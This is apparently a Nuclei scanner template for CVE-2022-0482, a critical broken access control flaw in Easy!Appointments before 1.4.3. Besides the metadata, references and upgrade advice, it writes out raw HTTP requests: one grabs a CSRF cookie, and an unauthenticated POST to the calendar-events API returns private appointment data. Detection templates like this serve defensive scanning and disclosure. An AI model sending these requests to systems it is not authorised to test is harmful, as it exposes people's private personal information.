Easy!Appointments <1.4.3 - Broken Access Control

id: CVE-2022-0482

info:
  name: Easy!Appointments <1.4.3 - Broken Access Control
  author: francescocarlucci,opencirt
  severity: critical
  description: |
    Easy!Appointments prior to 1.4.3 allows exposure of Private Personal Information to an unauthorized actor via the GitHub repository alextselegidis/easyappointments.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive data or perform unauthorized actions.
  remediation: |
    Upgrade Easy!Appointments to version 1.4.4 or above to fix the Broken Access Control vulnerability.
  reference:
    - https://huntr.dev/bounties/2fe771ef-b615-45ef-9b4d-625978042e26/
    - https://github.com/alextselegidis/easyappointments
    - https://opencirt.com/hacking/securing-easy-appointments-cve-2022-0482/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0482
    - https://github.com/alextselegidis/easyappointments/commit/44af526a6fc5e898bc1e0132b2af9eb3a9b2c466
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2022-0482
    cwe-id: CWE-359,CWE-863
    epss-score: 0.04316
    epss-percentile: 0.91494
    cpe: cpe:2.3:a:easyappointments:easyappointments:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: easyappointments
    product: easyappointments
    framework: wordpress
  tags: cve,cve2022,easyappointments,huntr,wordpress

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
      - |
        POST /index.php/backend_api/ajax_get_calendar_events HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        csrfToken={{csrf_token}}&startDate=2022-01-01&endDate=2022-01-01

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"appointments":'
          - '"unavailables":'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: kval
        name: csrf_token
        internal: true
        kval:
          - "csrfCookie"
        part: header
# digest: 4a0a0047304502204a46c8ad322e2152ca6650f96039b6f980bed5ddd8cb8cd26ca2fea57efaa24f022100cdd4517ef3e2e11a22c74c4fa7a445447d16471f0c87bab1bae7b6901321c33f:922c64590222798bb761d5b6d8e72950